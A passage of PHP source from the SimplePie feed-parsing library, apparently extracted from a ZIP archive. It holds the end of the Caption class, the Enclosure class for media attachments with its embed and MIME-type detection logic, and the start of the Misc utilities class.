     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get the start time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_starttime()
    {
        if ($this->startTime !== null) {
            return $this->startTime;
        }

        return null;
    }

    /**
     * Get the text of the caption
     *
     * @return string|null
     */
    public function get_text()
    {
        if ($this->text !== null) {
            return $this->text;
        }

        return null;
    }

    /**
     * Get the content type (not MIME type)
     *
     * @return string|null Either 'text' or 'html'
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }
}

class_alias('SimplePie\Caption', 'SimplePie_Caption');
PKWd[�L���src/Enclosure.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles everything related to enclosures (including Media RSS and iTunes RSS)
 *
 * Used by {@see \SimplePie\Item::get_enclosure()} and {@see \SimplePie\Item::get_enclosures()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_enclosure_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Enclosure
{
    /**
     * @var string
     * @see get_bitrate()
     */
    public $bitrate;

    /**
     * @var array
     * @see get_captions()
     */
    public $captions;

    /**
     * @var array
     * @see get_categories()
     */
    public $categories;

    /**
     * @var int
     * @see get_channels()
     */
    public $channels;

    /**
     * @var \SimplePie\Copyright
     * @see get_copyright()
     */
    public $copyright;

    /**
     * @var array
     * @see get_credits()
     */
    public $credits;

    /**
     * @var string
     * @see get_description()
     */
    public $description;

    /**
     * @var int
     * @see get_duration()
     */
    public $duration;

    /**
     * @var string
     * @see get_expression()
     */
    public $expression;

    /**
     * @var string
     * @see get_framerate()
     */
    public $framerate;

    /**
     * @var string
     * @see get_handler()
     */
    public $handler;

    /**
     * @var array
     * @see get_hashes()
     */
    public $hashes;

    /**
     * @var string
     * @see get_height()
     */
    public $height;

    /**
     * @deprecated
     * @var null
     */
    public $javascript;

    /**
     * @var array
     * @see get_keywords()
     */
    public $keywords;

    /**
     * @var string
     * @see get_language()
     */
    public $lang;

    /**
     * @var string
     * @see get_length()
     */
    public $length;

    /**
     * @var string
     * @see get_link()
     */
    public $link;

    /**
     * @var string
     * @see get_medium()
     */
    public $medium;

    /**
     * @var string
     * @see get_player()
     */
    public $player;

    /**
     * @var array
     * @see get_ratings()
     */
    public $ratings;

    /**
     * @var array
     * @see get_restrictions()
     */
    public $restrictions;

    /**
     * @var string
     * @see get_sampling_rate()
     */
    public $samplingrate;

    /**
     * @var array
     * @see get_thumbnails()
     */
    public $thumbnails;

    /**
     * @var string
     * @see get_title()
     */
    public $title;

    /**
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * @var string
     * @see get_width()
     */
    public $width;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     *
     * @uses idna_convert If available, this will convert an IDN
     */
    public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null)
    {
        $this->bitrate = $bitrate;
        $this->captions = $captions;
        $this->categories = $categories;
        $this->channels = $channels;
        $this->copyright = $copyright;
        $this->credits = $credits;
        $this->description = $description;
        $this->duration = $duration;
        $this->expression = $expression;
        $this->framerate = $framerate;
        $this->hashes = $hashes;
        $this->height = $height;
        $this->keywords = $keywords;
        $this->lang = $lang;
        $this->length = $length;
        $this->link = $link;
        $this->medium = $medium;
        $this->player = $player;
        $this->ratings = $ratings;
        $this->restrictions = $restrictions;
        $this->samplingrate = $samplingrate;
        $this->thumbnails = $thumbnails;
        $this->title = $title;
        $this->type = $type;
        $this->width = $width;

        if (class_exists('idna_convert')) {
            $idn = new \idna_convert();
            $parsed = \SimplePie\Misc::parse_url($link);
            $this->link = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']);
        }
        $this->handler = $this->get_handler(); // Needs to load last
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the bitrate
     *
     * @return string|null
     */
    public function get_bitrate()
    {
        if ($this->bitrate !== null) {
            return $this->bitrate;
        }

        return null;
    }

    /**
     * Get a single caption
     *
     * @param int $key
     * @return \SimplePie\Caption|null
     */
    public function get_caption($key = 0)
    {
        $captions = $this->get_captions();
        if (isset($captions[$key])) {
            return $captions[$key];
        }

        return null;
    }

    /**
     * Get all captions
     *
     * @return array|null Array of {@see \SimplePie\Caption} objects
     */
    public function get_captions()
    {
        if ($this->captions !== null) {
            return $this->captions;
        }

        return null;
    }

    /**
     * Get a single category
     *
     * @param int $key
     * @return \SimplePie\Category|null
     */
    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    /**
     * Get all categories
     *
     * @return array|null Array of {@see \SimplePie\Category} objects
     */
    public function get_categories()
    {
        if ($this->categories !== null) {
            return $this->categories;
        }

        return null;
    }

    /**
     * Get the number of audio channels
     *
     * @return int|null
     */
    public function get_channels()
    {
        if ($this->channels !== null) {
            return $this->channels;
        }

        return null;
    }

    /**
     * Get the copyright information
     *
     * @return \SimplePie\Copyright|null
     */
    public function get_copyright()
    {
        if ($this->copyright !== null) {
            return $this->copyright;
        }

        return null;
    }

    /**
     * Get a single credit
     *
     * @param int $key
     * @return \SimplePie\Credit|null
     */
    public function get_credit($key = 0)
    {
        $credits = $this->get_credits();
        if (isset($credits[$key])) {
            return $credits[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return array|null Array of {@see \SimplePie\Credit} objects
     */
    public function get_credits()
    {
        if ($this->credits !== null) {
            return $this->credits;
        }

        return null;
    }

    /**
     * Get the description of the enclosure
     *
     * @return string|null
     */
    public function get_description()
    {
        if ($this->description !== null) {
            return $this->description;
        }

        return null;
    }

    /**
     * Get the duration of the enclosure
     *
     * @param bool $convert Convert seconds into hh:mm:ss
     * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
     */
    public function get_duration($convert = false)
    {
        if ($this->duration !== null) {
            if ($convert) {
                $time = \SimplePie\Misc::time_hms($this->duration);
                return $time;
            }

            return $this->duration;
        }

        return null;
    }

    /**
     * Get the expression
     *
     * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
     */
    public function get_expression()
    {
        if ($this->expression !== null) {
            return $this->expression;
        }

        return 'full';
    }

    /**
     * Get the file extension
     *
     * @return string|null
     */
    public function get_extension()
    {
        if ($this->link !== null) {
            $url = \SimplePie\Misc::parse_url($this->link);
            if ($url['path'] !== '') {
                return pathinfo($url['path'], PATHINFO_EXTENSION);
            }
        }
        return null;
    }

    /**
     * Get the framerate (in frames-per-second)
     *
     * @return string|null
     */
    public function get_framerate()
    {
        if ($this->framerate !== null) {
            return $this->framerate;
        }

        return null;
    }

    /**
     * Get the preferred handler
     *
     * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
     */
    public function get_handler()
    {
        return $this->get_real_type(true);
    }

    /**
     * Get a single hash
     *
     * @link http://www.rssboard.org/media-rss#media-hash
     * @param int $key
     * @return string|null Hash as per `media:hash`, prefixed with "$algo:"
     */
    public function get_hash($key = 0)
    {
        $hashes = $this->get_hashes();
        if (isset($hashes[$key])) {
            return $hashes[$key];
        }

        return null;
    }

    /**
     * Get all credits
     *
     * @return array|null Array of strings, see {@see get_hash()}
     */
    public function get_hashes()
    {
        if ($this->hashes !== null) {
            return $this->hashes;
        }

        return null;
    }

    /**
     * Get the height
     *
     * @return string|null
     */
    public function get_height()
    {
        if ($this->height !== null) {
            return $this->height;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get a single keyword
     *
     * @param int $key
     * @return string|null
     */
    public function get_keyword($key = 0)
    {
        $keywords = $this->get_keywords();
        if (isset($keywords[$key])) {
            return $keywords[$key];
        }

        return null;
    }

    /**
     * Get all keywords
     *
     * @return array|null Array of strings
     */
    public function get_keywords()
    {
        if ($this->keywords !== null) {
            return $this->keywords;
        }

        return null;
    }

    /**
     * Get length
     *
     * @return float Length in bytes
     */
    public function get_length()
    {
        if ($this->length !== null) {
            return $this->length;
        }

        return null;
    }

    /**
     * Get the URL
     *
     * @return string|null
     */
    public function get_link()
    {
        if ($this->link !== null) {
            return $this->link;
        }

        return null;
    }

    /**
     * Get the medium
     *
     * @link http://www.rssboard.org/media-rss#media-content
     * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
     */
    public function get_medium()
    {
        if ($this->medium !== null) {
            return $this->medium;
        }

        return null;
    }

    /**
     * Get the player URL
     *
     * Typically the same as {@see get_permalink()}
     * @return string|null Player URL
     */
    public function get_player()
    {
        if ($this->player !== null) {
            return $this->player;
        }

        return null;
    }

    /**
     * Get a single rating
     *
     * @param int $key
     * @return \SimplePie\Rating|null
     */
    public function get_rating($key = 0)
    {
        $ratings = $this->get_ratings();
        if (isset($ratings[$key])) {
            return $ratings[$key];
        }

        return null;
    }

    /**
     * Get all ratings
     *
     * @return array|null Array of {@see \SimplePie\Rating} objects
     */
    public function get_ratings()
    {
        if ($this->ratings !== null) {
            return $this->ratings;
        }

        return null;
    }

    /**
     * Get a single restriction
     *
     * @param int $key
     * @return \SimplePie\Restriction|null
     */
    public function get_restriction($key = 0)
    {
        $restrictions = $this->get_restrictions();
        if (isset($restrictions[$key])) {
            return $restrictions[$key];
        }

        return null;
    }

    /**
     * Get all restrictions
     *
     * @return array|null Array of {@see \SimplePie\Restriction} objects
     */
    public function get_restrictions()
    {
        if ($this->restrictions !== null) {
            return $this->restrictions;
        }

        return null;
    }

    /**
     * Get the sampling rate (in kHz)
     *
     * @return string|null
     */
    public function get_sampling_rate()
    {
        if ($this->samplingrate !== null) {
            return $this->samplingrate;
        }

        return null;
    }

    /**
     * Get the file size (in MiB)
     *
     * @return float|null File size in mebibytes (1048 bytes)
     */
    public function get_size()
    {
        $length = $this->get_length();
        if ($length !== null) {
            return round($length / 1048576, 2);
        }

        return null;
    }

    /**
     * Get a single thumbnail
     *
     * @param int $key
     * @return string|null Thumbnail URL
     */
    public function get_thumbnail($key = 0)
    {
        $thumbnails = $this->get_thumbnails();
        if (isset($thumbnails[$key])) {
            return $thumbnails[$key];
        }

        return null;
    }

    /**
     * Get all thumbnails
     *
     * @return array|null Array of thumbnail URLs
     */
    public function get_thumbnails()
    {
        if ($this->thumbnails !== null) {
            return $this->thumbnails;
        }

        return null;
    }

    /**
     * Get the title
     *
     * @return string|null
     */
    public function get_title()
    {
        if ($this->title !== null) {
            return $this->title;
        }

        return null;
    }

    /**
     * Get mimetype of the enclosure
     *
     * @see get_real_type()
     * @return string|null MIME type
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the width
     *
     * @return string|null
     */
    public function get_width()
    {
        if ($this->width !== null) {
            return $this->width;
        }

        return null;
    }

    /**
     * Embed the enclosure using `<embed>`
     *
     * @deprecated Use the second parameter to {@see embed} instead
     *
     * @param array|string $options See first parameter to {@see embed}
     * @return string HTML string to output
     */
    public function native_embed($options = '')
    {
        return $this->embed($options, true);
    }

    /**
     * Embed the enclosure using Javascript
     *
     * `$options` is an array or comma-separated key:value string, with the
     * following properties:
     *
     * - `alt` (string): Alternate content for when an end-user does not have
     *    the appropriate handler installed or when a file type is
     *    unsupported. Can be any text or HTML. Defaults to blank.
     * - `altclass` (string): If a file type is unsupported, the end-user will
     *    see the alt text (above) linked directly to the content. That link
     *    will have this value as its class name. Defaults to blank.
     * - `audio` (string): This is an image that should be used as a
     *    placeholder for audio files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `bgcolor` (string): The background color for the media, if not
     *    already transparent. Defaults to `#ffffff`.
     * - `height` (integer): The height of the embedded media. Accepts any
     *    numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `loop` (boolean): Do you want the media to loop when it's done?
     *    Defaults to `false`.
     * - `mediaplayer` (string): The location of the included
     *    `mediaplayer.swf` file. This allows for the playback of Flash Video
     *    (`.flv`) files, and is the default handler for non-Odeo MP3's.
     *    Defaults to blank.
     * - `video` (string): This is an image that should be used as a
     *    placeholder for video files before they're loaded (QuickTime-only).
     *    Can be any relative or absolute URL. Defaults to blank.
     * - `width` (integer): The width of the embedded media. Accepts any
     *    numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
     *    and it is recommended that you use this default.
     * - `widescreen` (boolean): Is the enclosure widescreen or standard?
     *    This applies only to video enclosures, and will automatically resize
     *    the content appropriately.  Defaults to `false`, implying 4:3 mode.
     *
     * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
     * will default to 480x360 video resolution.  Widescreen (16:9) mode with
     * `width` and `height` set to `auto` will default to 480x270 video resolution.
     *
     * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
     * @param array|string $options Comma-separated key:value list, or array
     * @param bool $native Use `<embed>`
     * @return string HTML string to output
     */
    public function embed($options = '', $native = false)
    {
        // Set up defaults
        $audio = '';
        $video = '';
        $alt = '';
        $altclass = '';
        $loop = 'false';
        $width = 'auto';
        $height = 'auto';
        $bgcolor = '#ffffff';
        $mediaplayer = '';
        $widescreen = false;
        $handler = $this->get_handler();
        $type = $this->get_real_type();
        $placeholder = '';

        // Process options and reassign values as necessary
        if (is_array($options)) {
            extract($options);
        } else {
            $options = explode(',', $options);
            foreach ($options as $option) {
                $opt = explode(':', $option, 2);
                if (isset($opt[0], $opt[1])) {
                    $opt[0] = trim($opt[0]);
                    $opt[1] = trim($opt[1]);
                    switch ($opt[0]) {
                        case 'audio':
                            $audio = $opt[1];
                            break;

                        case 'video':
                            $video = $opt[1];
                            break;

                        case 'alt':
                            $alt = $opt[1];
                            break;

                        case 'altclass':
                            $altclass = $opt[1];
                            break;

                        case 'loop':
                            $loop = $opt[1];
                            break;

                        case 'width':
                            $width = $opt[1];
                            break;

                        case 'height':
                            $height = $opt[1];
                            break;

                        case 'bgcolor':
                            $bgcolor = $opt[1];
                            break;

                        case 'mediaplayer':
                            $mediaplayer = $opt[1];
                            break;

                        case 'widescreen':
                            $widescreen = $opt[1];
                            break;
                    }
                }
            }
        }

        $mime = explode('/', $type, 2);
        $mime = $mime[0];

        // Process values for 'auto'
        if ($width === 'auto') {
            if ($mime === 'video') {
                if ($height === 'auto') {
                    $width = 480;
                } elseif ($widescreen) {
                    $width = round((intval($height) / 9) * 16);
                } else {
                    $width = round((intval($height) / 3) * 4);
                }
            } else {
                $width = '100%';
            }
        }

        if ($height === 'auto') {
            if ($mime === 'audio') {
                $height = 0;
            } elseif ($mime === 'video') {
                if ($width === 'auto') {
                    if ($widescreen) {
                        $height = 270;
                    } else {
                        $height = 360;
                    }
                } elseif ($widescreen) {
                    $height = round((intval($width) / 16) * 9);
                } else {
                    $height = round((intval($width) / 4) * 3);
                }
            } else {
                $height = 376;
            }
        } elseif ($mime === 'audio') {
            $height = 0;
        }

        // Set proper placeholder value
        if ($mime === 'audio') {
            $placeholder = $audio;
        } elseif ($mime === 'video') {
            $placeholder = $video;
        }

        $embed = '';

        // Flash
        if ($handler === 'flash') {
            if ($native) {
                $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
            }
        }

        // Flash Media Player file types.
        // Preferred handler for MP3 file types.
        elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) {
            $height += 20;
            if ($native) {
                $embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
            }
        }

        // QuickTime 7 file types.  Need to test with QuickTime 6.
        // Only handle MP3's if the Flash Media Player is not present.
        elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) {
            $height += 16;
            if ($native) {
                if ($placeholder !== '') {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                } else {
                    $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
                }
            } else {
                $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
            }
        }

        // Windows Media
        elseif ($handler === 'wmedia') {
            $height += 45;
            if ($native) {
                $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
            } else {
                $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
            }
        }

        // Everything else
        else {
            $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
        }

        return $embed;
    }

    /**
     * Get the real media type
     *
     * Often, feeds lie to us, necessitating a bit of deeper inspection. This
     * converts types to their canonical representations based on the file
     * extension
     *
     * @see get_type()
     * @param bool $find_handler Internal use only, use {@see get_handler()} instead
     * @return string MIME type
     */
    public function get_real_type($find_handler = false)
    {
        // Mime-types by handler.
        $types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash
        $types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player
        $types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime
        $types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media
        $types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3

        if ($this->get_type() !== null) {
            $type = strtolower($this->type);
        } else {
            $type = null;
        }

        // If we encounter an unsupported mime-type, check the file extension and guess intelligently.
        if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) {
            $extension = $this->get_extension();
            if ($extension === null) {
                return null;
            }

            switch (strtolower($extension)) {
                // Audio mime-types
                case 'aac':
                case 'adts':
                    $type = 'audio/acc';
                    break;

                case 'aif':
                case 'aifc':
                case 'aiff':
                case 'cdda':
                    $type = 'audio/aiff';
                    break;

                case 'bwf':
                    $type = 'audio/wav';
                    break;

                case 'kar':
                case 'mid':
                case 'midi':
                case 'smf':
                    $type = 'audio/midi';
                    break;

                case 'm4a':
                    $type = 'audio/x-m4a';
                    break;

                case 'mp3':
                case 'swa':
                    $type = 'audio/mp3';
                    break;

                case 'wav':
                    $type = 'audio/wav';
                    break;

                case 'wax':
                    $type = 'audio/x-ms-wax';
                    break;

                case 'wma':
                    $type = 'audio/x-ms-wma';
                    break;

                    // Video mime-types
                case '3gp':
                case '3gpp':
                    $type = 'video/3gpp';
                    break;

                case '3g2':
                case '3gp2':
                    $type = 'video/3gpp2';
                    break;

                case 'asf':
                    $type = 'video/x-ms-asf';
                    break;

                case 'flv':
                    $type = 'video/x-flv';
                    break;

                case 'm1a':
                case 'm1s':
                case 'm1v':
                case 'm15':
                case 'm75':
                case 'mp2':
                case 'mpa':
                case 'mpeg':
                case 'mpg':
                case 'mpm':
                case 'mpv':
                    $type = 'video/mpeg';
                    break;

                case 'm4v':
                    $type = 'video/x-m4v';
                    break;

                case 'mov':
                case 'qt':
                    $type = 'video/quicktime';
                    break;

                case 'mp4':
                case 'mpg4':
                    $type = 'video/mp4';
                    break;

                case 'sdv':
                    $type = 'video/sd-video';
                    break;

                case 'wm':
                    $type = 'video/x-ms-wm';
                    break;

                case 'wmv':
                    $type = 'video/x-ms-wmv';
                    break;

                case 'wvx':
                    $type = 'video/x-ms-wvx';
                    break;

                    // Flash mime-types
                case 'spl':
                    $type = 'application/futuresplash';
                    break;

                case 'swf':
                    $type = 'application/x-shockwave-flash';
                    break;
            }
        }

        if ($find_handler) {
            if (in_array($type, $types_flash)) {
                return 'flash';
            } elseif (in_array($type, $types_fmedia)) {
                return 'fmedia';
            } elseif (in_array($type, $types_quicktime)) {
                return 'quicktime';
            } elseif (in_array($type, $types_wmedia)) {
                return 'wmedia';
            } elseif (in_array($type, $types_mp3)) {
                return 'mp3';
            }

            return null;
        }

        return $type;
    }
}

class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure');
PKWd[��psrc/Misc.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use SimplePie\XML\Declaration\Parser;

/**
 * Miscellaneous utilities
 *
 * @package SimplePie
 */
class Misc
{
    private static $SIMPLEPIE_BUILD = null;

    public static function time_hms($seconds)
    {
        $time = '';

        $hours = floor($seconds / 3600);
        $remainder = $seconds % 3600;
        if ($hours > 0) {
            $time .= $hours.':';
        }

        $minutes = floor($remainder / 60);
        $seconds = $remainder % 60;
        if ($minutes < 10 && $hours > 0) {
            $minutes = '0' . $minutes;
        }
        if ($seconds < 10) {
            $seconds = '0' . $seconds;
        }

        $time .= $minutes.':';
        $time .= $seconds;

        return $time;
    }

    public static function absolutize_url($relative, $base)
    {
        $iri = \SimplePie\IRI::absolutize(new \SimplePie\IRI($base), $relative);
        if ($iri === false) {
            return false;
        }
        return $iri->get_uri();
    }

    /**
     * Get a HTML/XML element from a HTML string
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead (parsing HTML with regex is bad!)
     * @param string $realname Element name (including namespace prefix if applicable)
     * @param string $string HTML document
     * @return array
     */
    public static function get_element($realname, $string)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $return = [];
        $name = preg_quote($realname, '/');
        if (preg_match_all("/<($name)" . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {
            for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) {
                $return[$i]['tag'] = $realname;
                $return[$i]['full'] = $matches[$i][0][0];
                $return[$i]['offset'] = $matches[$i][0][1];
                if (strlen($matches[$i][3][0]) <= 2) {
                    $return[$i]['self_closing'] = true;
                } else {
                    $return[$i]['self_closing'] = false;
                    $return[$i]['content'] = $matches[$i][4][0];
                }
                $return[$i]['attribs'] = [];
                if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) {
                    for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) {
                        if (count($attribs[$j]) === 2) {
                            $attribs[$j][2] = $attribs[$j][1];
                        }
                        $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = Misc::entities_decode(end($attribs[$j]));
                    }
                }
            }
        }
        return $return;
    }

    public static function element_implode($element)
    {
        $full = "<$element[tag]";
        foreach ($element['attribs'] as $key => $value) {
            $key = strtolower($key);
            $full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"';
        }
        if ($element['self_closing']) {
            $full .= ' />';
        } else {
